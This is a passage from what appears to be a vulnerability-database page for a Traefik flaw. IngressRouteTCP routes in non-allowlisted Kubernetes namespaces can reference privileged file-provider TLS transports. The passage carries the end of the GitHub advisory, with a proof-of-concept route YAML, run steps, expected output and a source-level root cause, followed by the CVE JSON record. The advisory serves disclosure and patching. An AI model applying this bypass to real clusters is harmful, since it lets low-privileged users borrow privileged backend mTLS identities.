serial,\n\t\tSubject:      pkix.Name{CommonName: cn},\n\t\tDNSNames:     []string{\"example.com\"},\n\t\tNotBefore:    time.Now().Add(-time.Minute),\n\t\tNotAfter:     time.Now().Add(time.Hour),\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,\n\t\tExtKeyUsage:  eku,\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, \u0026key.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tkeyDER := x509.MarshalPKCS1PrivateKey(key)\n\n\treturn pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: certDER}),\n\t\tpem.EncodeToMemory(\u0026pem.Block{Type: \"RSA PRIVATE KEY\", Bytes: keyDER})\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ewith_servers_transport_cross_provider_poc.yml\u003c/summary\u003e\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRouteTCP\nmetadata:\n  name: test.route\n  namespace: default\n\nspec:\n  entryPoints:\n    - foo\n\n  routes:\n  - match: HostSNI(`foo.com`)\n    priority: 12\n    services:\n    - name: whoamitcp\n      port: 8000\n      tls: true\n      serversTransport: foo@file\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.6.21 ./run.sh\n```\n\nOptional local-source override for faster local validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport=\"foo@file\" backend_tls=true\nPOC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=\"foo@file\" peer_cn=\"example.com\" response=\"PONG\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. The provider option is meant to cover IngressRouteTCP\n\n`pkg/provider/kubernetes/crd/kubernetes.go:60`\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references.\" ...`\n```\n\nThis establishes the security invariant: `IngressRouteTCP` cross-provider\nreferences should be gated by `crossProviderNamespaces`.\n\n### 2. TCP service creation forwards the attacker-controlled transport name\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`\n\n```go\nif service.ServersTransport != \"\" {\n\ttcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)\n}\n```\n\nThe attacker-controlled `serversTransport` field is passed into the key builder.\n\n### 3. TCP key builder returns cross-provider names without the allowlist check\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`\n\n```go\nif strings.Contains(serversTransportName, providerNamespaceSeparator) {\n\treturn serversTransportName, nil\n}\n```\n\nThis accepts `foo@file` directly. There is no call to\n`isCrossProviderNamespaceAllowed(...)` on this TCP path.\n\n### 4. HTTP sibling contains the missing authorization gate\n\n`pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`\n\n```go\nif !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {\n\treturn \"\", fmt.Errorf(\"serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces\", ...)\n}\n```\n\nThe HTTP path proves the intended policy: cross-provider `serversTransport`\nreferences should be rejected when the route namespace is not in the allowlist.\n\n### 5. Runtime TCP dialer consumes the exact referenced transport\n\n`pkg/tcp/dialer.go:135-141`\n\n```go\nif config.ServersTransport != \"\" {\n\tname = config.ServersTransport\n}\nst, ok := d.serversTransports[name]\n```\n\n`pkg/tcp/dialer.go:183-188`\n\n```go\ntlsConfig = \u0026tls.Config{\n\tServerName:   st.TLS.ServerName,\n\tCertificates: st.TLS.Certificates.GetCertificates(),\n}\n```\n\nThe accepted `foo@file` reference is not a harmless string. It selects the\ncross-provider transport and applies its client TLS identity during backend\nconnections.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-42cj-m3vj-89wv",
  "modified": "2026-08-05T21:53:35Z",
  "published": "2026-08-05T21:53:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/67501cbe7bc7774e26ecbd1c29af97f098e14b0b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass"
}

CVE-2026-65602 (GCVE-0-2026-65602)

Vulnerability from cvelistv5 – Published: 2026-07-22 11:21 – Updated: 2026-07-24 21:35

Title

Traefik before 3.6.23 IngressRouteTCP ServersTransport Namespace Bypass

Summary

Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use a file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. This is fixed in 3.6.23 and 3.7.7.

Severity

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-863 - Incorrect Authorization

Assigner

VulnCheck

References

3 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	vendor-advisory
https://github.com/traefik/traefik/commit/26c96a3…	patch
https://www.vulncheck.com/advisories/traefik-befo…	third-party-advisory

Impacted products

2 products

Vendor	Product	Version
traefik	traefik	Affected: 3.6.0 , < 3.6.23 (semver) Unaffected: 3.6.23 (semver)
traefik	traefik	Affected: 3.7.0 , < 3.7.7 (semver) Unaffected: 3.7.7 (semver)

Date Public

2026-07-09 00:00

Credits

CuB3y0nd james-yusuke

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-65602",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-22T13:04:30.399873Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-22T13:04:40.999Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:golang/Traefik",
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "lessThan": "3.6.23",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.6.23",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:golang/Traefik",
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "lessThan": "3.7.7",
              "status": "affected",
              "version": "3.7.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.7.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "3.6.23",
                  "versionStartIncluding": "3.6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "3.7.7",
                  "versionStartIncluding": "3.7.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "CuB3y0nd"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "james-yusuke"
        }
      ],
      "datePublic": "2026-07-09T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use a file-provider TCPServersTransport \u2014 including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. This is fixed in 3.6.23 and 3.7.7."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-24T21:35:17.581Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-42cj-m3vj-89wv)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv"
        },
        {
          "name": "Patch Commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0"
        },
        {
          "name": "VulnCheck Advisory: Traefik before 3.6.23 IngressRouteTCP ServersTransport Namespace Bypass",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass"
        }
      ],
      "title": "Traefik before 3.6.23 IngressRouteTCP ServersTransport Namespace Bypass",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-65602",
    "datePublished": "2026-07-22T11:21:48.127Z",
    "dateReserved": "2026-07-22T10:48:36.000Z",
    "dateUpdated": "2026-07-24T21:35:17.581Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-42CJ-M3VJ-89WV

Summary

Patches

For more information

CVE-2026-65602 (GCVE-0-2026-65602)

Tags

Sightings

Nomenclature